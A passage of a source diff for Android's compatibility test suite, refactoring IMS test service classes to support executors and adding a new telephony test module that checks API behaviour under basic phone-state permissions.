+                    countDownLatch(LATCH_REMOVE_RCS);
+                    mTestRcsFeature = null;
+                }
+            };
+
+            TestImsService.CapabilitiesSetListener setListener = () -> {
+                synchronized (mLock) {
+                    countDownLatch(LATCH_RCS_CAP_SET);
+                }
+            };
+
+            TestImsService.RcsCapabilityExchangeEventListener capExchangeEventListener = () -> {
+                synchronized (mLock) {
+                    countDownLatch(LATCH_UCE_LISTENER_SET);
+                }
+            };
+
             synchronized (mLock) {
                 countDownLatch(LATCH_CREATE_RCS);
-                mTestRcsFeature = new TestRcsFeature(getBaseContext(),
-                        //onReady
-                        () -> {
-                            synchronized (mLock) {
-                                countDownLatch(LATCH_RCS_READY);
-                            }
-                        },
-                        //onRemoved
-                        () -> {
-                            synchronized (mLock) {
-                                countDownLatch(LATCH_REMOVE_RCS);
-                                mTestRcsFeature = null;
-                            }
-                        },
-                        //onCapabilitiesSet
-                        () -> {
-                            synchronized (mLock) {
-                                countDownLatch(LATCH_RCS_CAP_SET);
-                            }
-                        },
-                        () -> {
-                            synchronized (mLock) {
-                                countDownLatch(LATCH_UCE_LISTENER_SET);
-                        }
-                        });
+
+                if (mIsTestTypeExecutor) {
+                    mTestRcsFeature = new TestRcsFeature(readyListener, removedListener,
+                            setListener, capExchangeEventListener, mExecutor);
+                } else {
+                    mTestRcsFeature = new TestRcsFeature(readyListener, removedListener,
+                            setListener, capExchangeEventListener);
+                }
 
                 // Setup UCE request listener
                 mTestRcsFeature.setDeviceCapPublishListener(() -> {
@@ -195,36 +400,42 @@
 
         @Override
         public MmTelFeature createMmTelFeature(int slotId) {
+            TestImsService.ReadyListener readyListener = () -> {
+                synchronized (mLock) {
+                    countDownLatch(LATCH_MMTEL_READY);
+                }
+            };
+
+            TestImsService.RemovedListener removedListener = () -> {
+                synchronized (mLock) {
+                    countDownLatch(LATCH_REMOVE_MMTEL);
+                    mTestMmTelFeature = null;
+                }
+            };
+
+            TestImsService.CapabilitiesSetListener capSetListener = () -> {
+                synchronized (mLock) {
+                    countDownLatch(LATCH_MMTEL_CAP_SET);
+                }
+            };
+
             synchronized (mLock) {
                 countDownLatch(LATCH_CREATE_MMTEL);
-                mTestMmTelFeature = new TestMmTelFeature(
-                        //onReady
-                        () -> {
-                            synchronized (mLock) {
-                                countDownLatch(LATCH_MMTEL_READY);
-                            }
-                        },
-                        //onRemoved
-                        () -> {
-                            synchronized (mLock) {
-                                countDownLatch(LATCH_REMOVE_MMTEL);
-                                mTestMmTelFeature = null;
-                            }
-                        },
-                        //onCapabilitiesSet
-                        () -> {
-                            synchronized (mLock) {
-                                countDownLatch(LATCH_MMTEL_CAP_SET);
-                            }
-                        }
-                        );
+                if (mIsTestTypeExecutor) {
+                    mTestMmTelFeature = new TestMmTelFeature(readyListener, removedListener,
+                            capSetListener, mExecutor);
+                } else {
+                    mTestMmTelFeature = new TestMmTelFeature(readyListener, removedListener,
+                            capSetListener);
+                }
+
                 return mTestMmTelFeature;
             }
         }
 
         @Override
         public ImsRegistrationImplBase getRegistration(int slotId) {
-            return sImsRegistrationImplBase;
+            return mImsRegistrationImplBase;
         }
 
         @Nullable
@@ -236,6 +447,62 @@
                 return null;
             }
         }
+
+        @Override
+        public @NonNull Executor getExecutor() {
+            if (mIsTestTypeExecutor) {
+                return mExecutor;
+            } else {
+                mExecutor = Runnable::run;
+                return mExecutor;
+            }
+        }
+    }
+
+    private static Looper createLooper(String name) {
+        HandlerThread thread = new HandlerThread(name);
+        thread.start();
+
+        Looper looper = thread.getLooper();
+
+        if (looper == null) {
+            return Looper.getMainLooper();
+        }
+        return looper;
+    }
+
+    /**
+     * Executes the tasks in the other thread rather than the calling thread.
+     */
+    public class MessageExecutor extends Handler implements Executor {
+        public MessageExecutor(String name) {
+            super(createLooper(name));
+        }
+
+        @Override
+        public void execute(Runnable r) {
+            Message m = Message.obtain(this, 0, r);
+            m.sendToTarget();
+        }
+
+        @Override
+        public void handleMessage(Message msg) {
+            if (msg.obj instanceof Runnable) {
+                executeInternal((Runnable) msg.obj);
+            } else {
+                Log.d(TAG, "[MessageExecutor] handleMessage :: "
+                        + "Not runnable object; ignore the msg=" + msg);
+            }
+        }
+
+        private void executeInternal(Runnable r) {
+            try {
+                r.run();
+            } catch (Throwable t) {
+                Log.d(TAG, "[MessageExecutor] executeInternal :: run task=" + r);
+                t.printStackTrace();
+            }
+        }
     }
 
     private final LocalBinder mBinder = new LocalBinder();
@@ -256,18 +523,53 @@
         }
     }
 
+    protected ImsService getImsServiceCompat() {
+        synchronized (mLock) {
+            if (mTestImsServiceCompat != null) {
+                return mTestImsServiceCompat;
+            }
+            mTestImsServiceCompat = new ImsServiceUT_compat(this);
+            return mTestImsServiceCompat;
+        }
+    }
+
     @Override
     public IBinder onBind(Intent intent) {
-        if ("android.telephony.ims.ImsService".equals(intent.getAction())) {
-            if (ImsUtils.VDBG) {
-                Log.d(TAG, "onBind-Remote");
+        synchronized (mLock) {
+            if ("android.telephony.ims.ImsService".equals(intent.getAction())) {
+                mIsTelephonyBound = true;
+                if (mIsImsServiceCompat) {
+                    if (ImsUtils.VDBG) {
+                        Log.d(TAG, "onBind-Remote-Compat");
+                    }
+                    return getImsServiceCompat().onBind(intent);
+                } else {
+                    if (ImsUtils.VDBG) {
+                        Log.d(TAG, "onBind-Remote");
+                    }
+                    return getImsService().onBind(intent);
+                }
             }
-            return getImsService().onBind(intent);
+            if (ImsUtils.VDBG) {
+                Log.i(TAG, "onBind-Local");
+            }
+            return mBinder;
         }
-        if (ImsUtils.VDBG) {
-            Log.i(TAG, "onBind-Local");
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        synchronized (mLock) {
+            if ("android.telephony.ims.ImsService".equals(intent.getAction())) {
+                if (ImsUtils.VDBG)  Log.i(TAG, "onUnbind-Remote");
+                mIsTelephonyBound = false;
+                countDownLatch(LATCH_ON_UNBIND);
+            } else {
+                if (ImsUtils.VDBG)  Log.i(TAG, "onUnbind-Local");
+            }
+            // return false so that onBind is called next time.
+            return false;
         }
-        return mBinder;
     }
 
     public void resetState() {
@@ -277,10 +579,38 @@
             mIsEnabled = false;
             mSetNullRcsBinding = false;
             mIsSipTransportImplemented = false;
+            mIsTestTypeExecutor = false;
+            mIsImsServiceCompat = false;
             mCapabilities = 0;
             for (int i = 0; i < LATCH_MAX; i++) {
                 sLatches[i] = new CountDownLatch(1);
             }
+
+            if (sMessageExecutor != null) {
+                sMessageExecutor.getLooper().quit();
+                sMessageExecutor = null;
+            }
+            mSubIDs.clear();
+        }
+    }
+
+    public boolean isTelephonyBound() {
+        return mIsTelephonyBound;
+    }
+
+    public void setExecutorTestType(boolean type) {
+        mIsTestTypeExecutor = type;
+        if (mIsTestTypeExecutor) {
+            if (sMessageExecutor == null) {
+                sMessageExecutor = new MessageExecutor("TestImsService");
+            }
+            mExecutor = sMessageExecutor;
+        }
+    }
+
+    public void setImsServiceCompat() {
+        synchronized (mLock) {
+            mIsImsServiceCompat = true;
         }
     }
 
@@ -329,20 +659,7 @@
     }
 
     public boolean waitForLatchCountdown(int latchIndex) {
-        boolean complete = false;
-        try {
-            CountDownLatch latch;
-            synchronized (mLock) {
-                latch = sLatches[latchIndex];
-            }
-            complete = latch.await(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        } catch (InterruptedException e) {
-            // complete == false
-        }
-        synchronized (mLock) {
-            sLatches[latchIndex] = new CountDownLatch(1);
-        }
-        return complete;
+        return waitForLatchCountdown(latchIndex, ImsUtils.TEST_TIMEOUT_MS);
     }
 
     public boolean waitForLatchCountdown(int latchIndex, long waitMs) {
@@ -352,7 +669,12 @@
             synchronized (mLock) {
                 latch = sLatches[latchIndex];
             }
+            long startTime = System.currentTimeMillis();
             complete = latch.await(waitMs, TimeUnit.MILLISECONDS);
+            if (ImsUtils.VDBG) {
+                Log.i(TAG, "Latch " + latchIndex + " took "
+                        + (System.currentTimeMillis() - startTime) + " ms to count down.");
+            }
         } catch (InterruptedException e) {
             // complete == false
         }
@@ -388,11 +710,15 @@
 
     public TestImsRegistration getImsRegistration() {
         synchronized (mLock) {
-            return sImsRegistrationImplBase;
+            return mImsRegistrationImplBase;
         }
     }
 
     public ImsConfigImplBase getConfig() {
         return mTestImsConfig;
     }
+
+    public HashSet<Integer> getSubIDs() {
+        return mSubIDs;
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestMmTelFeature.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestMmTelFeature.java
index cb82d71..291723d 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestMmTelFeature.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestMmTelFeature.java
@@ -16,15 +16,20 @@
 
 package android.telephony.ims.cts;
 
+import android.os.Bundle;
+import android.telephony.ims.ImsCallProfile;
+import android.telephony.ims.ImsStreamMediaProfile;
 import android.telephony.ims.RtpHeaderExtensionType;
 import android.telephony.ims.feature.CapabilityChangeRequest;
 import android.telephony.ims.feature.MmTelFeature;
+import android.telephony.ims.stub.ImsCallSessionImplBase;
 import android.telephony.ims.stub.ImsRegistrationImplBase;
 import android.util.Log;
 
 import java.util.List;
 import java.util.Set;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
 
 public class TestMmTelFeature extends MmTelFeature {
 
@@ -33,16 +38,33 @@
     private final TestImsService.CapabilitiesSetListener mCapSetListener;
 
     private static final String TAG = "CtsTestImsService";
+    public static ConferenceHelper sConferenceHelper = new ConferenceHelper();
 
     private MmTelCapabilities mCapabilities =
             new MmTelCapabilities(MmTelCapabilities.CAPABILITY_TYPE_SMS);
     private TestImsSmsImpl mSmsImpl;
     private Set<RtpHeaderExtensionType> mOfferedRtpHeaderExtensionTypes;
     private CountDownLatch mOfferedRtpHeaderExtensionLatch = new CountDownLatch(1);
+    private TestImsCallSessionImpl mCallSession;
 
     TestMmTelFeature(TestImsService.ReadyListener readyListener,
             TestImsService.RemovedListener removedListener,
             TestImsService.CapabilitiesSetListener setListener) {
+        Log.d(TAG, "TestMmTelFeature with default constructor");
+        mReadyListener = readyListener;
+        mRemovedListener = removedListener;
+        mCapSetListener = setListener;
+        mSmsImpl = new TestImsSmsImpl();
+        // Must set the state to READY in the constructor - onFeatureReady depends on the state
+        // being ready.
+        setFeatureState(STATE_READY);
+    }
+
+    TestMmTelFeature(TestImsService.ReadyListener readyListener,
+            TestImsService.RemovedListener removedListener,
+            TestImsService.CapabilitiesSetListener setListener, Executor executor) {
+        super(executor);
+        Log.d(TAG, "TestMmTelFeature with Executor constructor");
         mReadyListener = readyListener;
         mRemovedListener = removedListener;
         mCapSetListener = setListener;
@@ -104,6 +126,27 @@
         mOfferedRtpHeaderExtensionLatch.countDown();
     }
 
+    @Override
+    public ImsCallProfile createCallProfile(int serviceType, int callType) {
+        ImsStreamMediaProfile mediaProfile = new ImsStreamMediaProfile(
+                ImsStreamMediaProfile.AUDIO_QUALITY_AMR,
+                ImsStreamMediaProfile.DIRECTION_INVALID,
+                ImsStreamMediaProfile.VIDEO_QUALITY_NONE,
+                ImsStreamMediaProfile.DIRECTION_INVALID,
+                ImsStreamMediaProfile.RTT_MODE_DISABLED);
+        ImsCallProfile profile = new ImsCallProfile(serviceType, callType,
+                    new Bundle(), mediaProfile);
+        return profile;
+    }
+
+    @Override
+    public ImsCallSessionImplBase createCallSession(ImsCallProfile profile) {
+        ImsCallSessionImplBase s = new TestImsCallSessionImpl(profile);
+        mCallSession = (TestImsCallSessionImpl) s;
+        onCallCreate(mCallSession);
+        return s != null ? s : null;
+    }
+
     public void setCapabilities(MmTelCapabilities capabilities) {
         mCapabilities = capabilities;
     }
@@ -119,4 +162,45 @@
     public CountDownLatch getOfferedRtpHeaderExtensionLatch() {
         return mOfferedRtpHeaderExtensionLatch;
     }
+
+    public TestImsCallSessionImpl getImsCallsession() {
+        return mCallSession;
+    }
+
+    public boolean isCallSessionCreated() {
+        return (mCallSession != null);
+    }
+
+    public void onIncomingCallReceived(Bundle extras) {
+        Log.d(TAG, "onIncomingCallReceived");
+
+        ImsStreamMediaProfile mediaProfile = new ImsStreamMediaProfile(
+                ImsStreamMediaProfile.AUDIO_QUALITY_AMR,
+                ImsStreamMediaProfile.DIRECTION_SEND_RECEIVE,
+                ImsStreamMediaProfile.VIDEO_QUALITY_NONE,
+                ImsStreamMediaProfile.DIRECTION_INVALID,
+                ImsStreamMediaProfile.RTT_MODE_DISABLED);
+
+        ImsCallProfile callProfile = new ImsCallProfile(ImsCallProfile.SERVICE_TYPE_NORMAL,
+                ImsCallProfile.CALL_TYPE_VOICE, new Bundle(), mediaProfile);
+
+        TestImsCallSessionImpl incomingSession = new TestImsCallSessionImpl(callProfile);
+        mCallSession = incomingSession;
+
+        Executor executor = incomingSession.getExecutor();
+        executor.execute(() -> {
+            notifyIncomingCall(incomingSession, extras);
+        });
+    }
+
+    private void onCallCreate(TestImsCallSessionImpl session) {
+        if (sConferenceHelper != null) {
+            sConferenceHelper.addSession(session);
+            session.setConferenceHelper(sConferenceHelper);
+        }
+    }
+
+    public ConferenceHelper getConferenceHelper() {
+        return sConferenceHelper;
+    }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
index 08eaa85..3915fc5 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestRcsFeature.java
@@ -16,7 +16,6 @@
 
 package android.telephony.ims.cts;
 
-import android.content.Context;
 import android.telephony.ims.feature.CapabilityChangeRequest;
 import android.telephony.ims.feature.RcsFeature;
 import android.telephony.ims.stub.CapabilityExchangeEventListener;
@@ -43,13 +42,30 @@
     private CapabilityExchangeEventListener mCapEventListener;
     private TestImsService.DeviceCapPublishListener mDeviceCapPublishListener;
 
-    TestRcsFeature(Context context,
-            TestImsService.ReadyListener readyListener,
+    TestRcsFeature(TestImsService.ReadyListener readyListener,
             TestImsService.RemovedListener removedListener,
             TestImsService.CapabilitiesSetListener setListener,
             TestImsService.RcsCapabilityExchangeEventListener capExchangeEventListener) {
-        super(context.getMainExecutor());
+        super();
+        Log.d(TAG, "TestRcsFeature with default constructor");
+        mReadyListener = readyListener;
+        mRemovedListener = removedListener;
+        mCapExchangeEventListener = capExchangeEventListener;
 
+        mRcsCapabilityChangedListener = setListener;
+        mRcsCapabilitiesLte = new RcsImsCapabilities(RcsImsCapabilities.CAPABILITY_TYPE_NONE);
+        mRcsCapabilitiesIWan = new RcsImsCapabilities(RcsImsCapabilities.CAPABILITY_TYPE_NONE);
+
+        setFeatureState(STATE_READY);
+    }
+
+    TestRcsFeature(TestImsService.ReadyListener readyListener,
+            TestImsService.RemovedListener removedListener,
+            TestImsService.CapabilitiesSetListener setListener,
+            TestImsService.RcsCapabilityExchangeEventListener capExchangeEventListener,
+            Executor executor) {
+        super(executor);
+        Log.d(TAG, "TestRcsFeature with Executor constructor");
         mReadyListener = readyListener;
         mRemovedListener = removedListener;
         mCapExchangeEventListener = capExchangeEventListener;
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
index dfa8066..9e87962 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipDelegateConnection.java
@@ -221,6 +221,7 @@
                 notRegistered.isEmpty());
         assertTrue(regState.getDeregisteringFeatureTags().isEmpty());
         assertTrue(regState.getDeregisteredFeatureTags().isEmpty());
+        assertTrue(regState.getRegisteringFeatureTags().isEmpty());
     }
 
     public void verifyRegistrationStateEmpty() {
@@ -228,6 +229,7 @@
         assertTrue(regState.getRegisteredFeatureTags().isEmpty());
         assertTrue(regState.getDeregisteringFeatureTags().isEmpty());
         assertTrue(regState.getDeregisteredFeatureTags().isEmpty());
+        assertTrue(regState.getRegisteringFeatureTags().isEmpty());
     }
 
     public void verifyRegistrationStateEquals(DelegateRegistrationState s) {
@@ -237,6 +239,8 @@
                 regState.getDeregisteringFeatureTags());
         assertEquals("unexpected deregistered tags", s.getDeregisteredFeatureTags(),
                 regState.getDeregisteredFeatureTags());
+        assertEquals("unexpected registering tags", s.getRegisteringFeatureTags(),
+                regState.getRegisteringFeatureTags());
     }
 
     public boolean verifyDeregisteringStateContains(String featureTag, int state) {
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipTransport.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipTransport.java
index 0ea195c..88dcc2a 100644
--- a/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipTransport.java
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/TestSipTransport.java
@@ -23,6 +23,7 @@
 import android.telephony.ims.DelegateStateCallback;
 import android.telephony.ims.stub.SipDelegate;
 import android.telephony.ims.stub.SipTransportImplBase;
+import android.util.Log;
 
 import androidx.annotation.NonNull;
 
@@ -34,6 +35,7 @@
 
 public class TestSipTransport extends SipTransportImplBase {
 
+    private static final String TAG = "TestSipTransport";
     public static final String ONE_TO_ONE_CHAT_TAG =
             "+g.3gpp.icsi-ref=\"urn%3Aurn-7%3A3gppservice.ims.icsi.oma.cpm.msg\"";
     public static final String GROUP_CHAT_TAG =
@@ -54,8 +56,13 @@
     private final ArrayList<TestSipDelegate> mDelegates = new ArrayList<>();
     private final Object mLock = new Object();
 
+    public TestSipTransport() {
+        Log.d(TAG, "TestSipTransport with default constructor");
+    }
+
     public TestSipTransport(Executor executor) {
         super(executor);
+        Log.d(TAG, "TestSipTransport with Executor constructor");
     }
 
     @Override
diff --git a/tests/tests/telephony/sdk28/src/android/telephony/sdk28/cts/PhoneStateListenerTest.java b/tests/tests/telephony/sdk28/src/android/telephony/sdk28/cts/PhoneStateListenerTest.java
index 2aaf4fb..c890a2a 100644
--- a/tests/tests/telephony/sdk28/src/android/telephony/sdk28/cts/PhoneStateListenerTest.java
+++ b/tests/tests/telephony/sdk28/src/android/telephony/sdk28/cts/PhoneStateListenerTest.java
@@ -15,6 +15,11 @@
  */
 package android.telephony.sdk28.cts;
 
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.os.Looper;
@@ -23,16 +28,15 @@
 import android.telephony.TelephonyManager;
 import android.util.Log;
 
+import androidx.test.filters.FlakyTest;
+
 import com.android.compatibility.common.util.TestThread;
 
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 
-import static androidx.test.InstrumentationRegistry.getContext;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
+@FlakyTest
 public class PhoneStateListenerTest {
 
     public static final long WAIT_TIME = 1000;
diff --git a/tests/tests/telephony4/src/android/telephony4/cts/SimRestrictedApisTest.java b/tests/tests/telephony4/src/android/telephony4/cts/SimRestrictedApisTest.java
index 5705f4e..92904b2 100644
--- a/tests/tests/telephony4/src/android/telephony4/cts/SimRestrictedApisTest.java
+++ b/tests/tests/telephony4/src/android/telephony4/cts/SimRestrictedApisTest.java
@@ -21,11 +21,16 @@
 import static org.junit.Assert.fail;
 
 import android.content.Context;
+import android.os.AsyncTask;
 import android.telephony.SmsManager;
 import android.telephony.TelephonyManager;
+import android.telephony.data.NetworkSlicingConfig;
+
 import org.junit.Before;
 import org.junit.Test;
 
+import java.util.concurrent.CompletableFuture;
+
 public class SimRestrictedApisTest {
     private static final byte[] TEST_PDU = { 0, 0 };
     private TelephonyManager mTelephonyManager;
@@ -338,4 +343,20 @@
         } catch (SecurityException expected) {
         }
     }
+
+    /**
+     * Tests the TelephonyManager.getNetworkSlicingConfiguration() API. This makes a call to
+     * getNetworkSlicingConfiguration() API and expects a SecurityException since the test apk is
+     * not signed by certficate on the SIM.
+     */
+    @Test
+    public void testGetNetworkSlicingConfiguration() {
+        try {
+            CompletableFuture<NetworkSlicingConfig> resultFuture = new CompletableFuture<>();
+            mTelephonyManager.getNetworkSlicingConfiguration(
+                            AsyncTask.SERIAL_EXECUTOR, resultFuture::complete);
+            fail("Expected SecurityException. App doesn't have carrier privileges.");
+        } catch (SecurityException expected) {
+        }
+    }
 }
diff --git a/tests/tests/telephony5/Android.bp b/tests/tests/telephony5/Android.bp
new file mode 100644
index 0000000..c1833ee
--- /dev/null
+++ b/tests/tests/telephony5/Android.bp
@@ -0,0 +1,47 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsTelephony5TestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.test.ext.junit",
+
+                "androidx.heifwriter_heifwriter",
+                "androidx.test.core",
+                "compatibility-device-util-axt",
+                "junit",
+                "platform-test-annotations",
+    ],
+    srcs: [
+      "src/**/*.java",
+      ":cts-telephony-utils"
+    ],
+    sdk_version: "test_current",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+}
\ No newline at end of file
diff --git a/tests/tests/telephony5/AndroidManifest.xml b/tests/tests/telephony5/AndroidManifest.xml
new file mode 100644
index 0000000..1ab6dce
--- /dev/null
+++ b/tests/tests/telephony5/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.telephony5.cts">
+
+    <uses-permission android:name="android.permission.READ_BASIC_PHONE_STATE" />
+
+    <!-- Must be debuggable for compat shell commands to work on user builds -->
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.telephony5.cts">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
+
diff --git a/tests/tests/telephony5/AndroidTest.xml b/tests/tests/telephony5/AndroidTest.xml
new file mode 100644
index 0000000..d960a5b
--- /dev/null
+++ b/tests/tests/telephony5/AndroidTest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Telephony test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="telecom" />
+    <option name="not-shardable" value="true" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsTelephony5TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.telephony5.cts" />
+        <option name="runtime-hint" value="7m30s" />
+    </test>
+</configuration>
diff --git a/tests/tests/telephony5/OWNERS b/tests/tests/telephony5/OWNERS
new file mode 100644
index 0000000..f4921e0
--- /dev/null
+++ b/tests/tests/telephony5/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 20868
+include ../telephony/OWNERS
diff --git a/tests/tests/telephony5/README.md b/tests/tests/telephony5/README.md
new file mode 100644
index 0000000..3fc7ef8
--- /dev/null
+++ b/tests/tests/telephony5/README.md
@@ -0,0 +1,6 @@
+# Telephony5 CTS tests
+
+This directory contains the set of Telephony CTS tests used to exercise
+READ_BASIC_PHONE_STATE permissions.
+For instance, we may want to verify that an API call do not throw an exception with
+READ_BASIC_PHONE_STATE permission.
\ No newline at end of file
diff --git a/tests/tests/telephony5/TEST_MAPPING b/tests/tests/telephony5/TEST_MAPPING
new file mode 100644
index 0000000..a87bfe5
--- /dev/null
+++ b/tests/tests/telephony5/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsTelephony5TestCases"
+    }
+  ]
+}
diff --git a/tests/tests/telephony5/src/android/telephony5/cts/TelephonyManagerReadNonDangerousPermissionTest.java b/tests/tests/telephony5/src/android/telephony5/cts/TelephonyManagerReadNonDangerousPermissionTest.java
new file mode 100644
index 0000000..1ddba2c
--- /dev/null
+++ b/tests/tests/telephony5/src/android/telephony5/cts/TelephonyManagerReadNonDangerousPermissionTest.java
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony5.cts;
+
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.AppModeFull;
+import android.telephony.TelephonyManager;
+import android.telephony.cts.TelephonyUtils;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * Test APIs when the package does not have READ_PHONE_STATE.
+ */
+public class TelephonyManagerReadNonDangerousPermissionTest {
+
+    private Context mContext;
+    private PackageManager mPackageManager;
+    private TelephonyManager mTelephonyManager;
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mTelephonyManager = mContext.getSystemService(TelephonyManager.class);
+        mPackageManager = mContext.getPackageManager();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        TelephonyUtils.resetCompatCommand(InstrumentationRegistry.getInstrumentation(),
+                TelephonyUtils.CTS_APP_PACKAGE2,
+                TelephonyUtils.ENABLE_GET_CALL_STATE_PERMISSION_PROTECTION_STRING);
+    }
+
+    @Test
+    @AppModeFull
+    public void testReadNonDangerousPermission() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        try {
+            mTelephonyManager.isDataEnabled();
+            mTelephonyManager.isDataRoamingEnabled();
+            mTelephonyManager.isDataEnabledForReason(TelephonyManager.DATA_ENABLED_REASON_POLICY);
+            mTelephonyManager.isDataConnectionAllowed();
+
+        } catch (SecurityException e) {
+            fail("should not fail with READ_BASIC_PHONE_STATE");
+        }
+    }
+}
diff --git a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java
index f39fa0f..0a433b0 100644
--- a/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java
+++ b/tests/tests/telephonyprovider/src/android/telephonyprovider/cts/DefaultSmsAppHelper.java
@@ -116,8 +116,7 @@
     }
 
     static boolean hasSms() {
-        TelephonyManager telephonyManager = (TelephonyManager) ApplicationProvider
-                .getApplicationContext().getSystemService(Context.TELEPHONY_SERVICE);
+        TelephonyManager telephonyManager = (TelephonyManager) ApplicationProvider.getApplicationContext().getSystemService(Context.TELEPHONY_SERVICE);
         return telephonyManager.isSmsCapable();
     }
 }
diff --git a/tests/tests/textclassifier/Android.bp b/tests/tests/textclassifier/Android.bp
index 0a25497..fb4b336 100644
--- a/tests/tests/textclassifier/Android.bp
+++ b/tests/tests/textclassifier/Android.bp
@@ -45,4 +45,8 @@
     resource_dirs: ["res"],
     sdk_version: "test_current",
     min_sdk_version: "30",
+    data: [
+        ":CtsQueryTextClassifierServiceActivity",
+    ],
+    per_testcase_directory: true,
 }
diff --git a/tests/tests/textclassifier/OWNERS b/tests/tests/textclassifier/OWNERS
index 3e84e0b..3da8126 100644
--- a/tests/tests/textclassifier/OWNERS
+++ b/tests/tests/textclassifier/OWNERS
@@ -1,2 +1,3 @@
 # Bug component: 709498
+
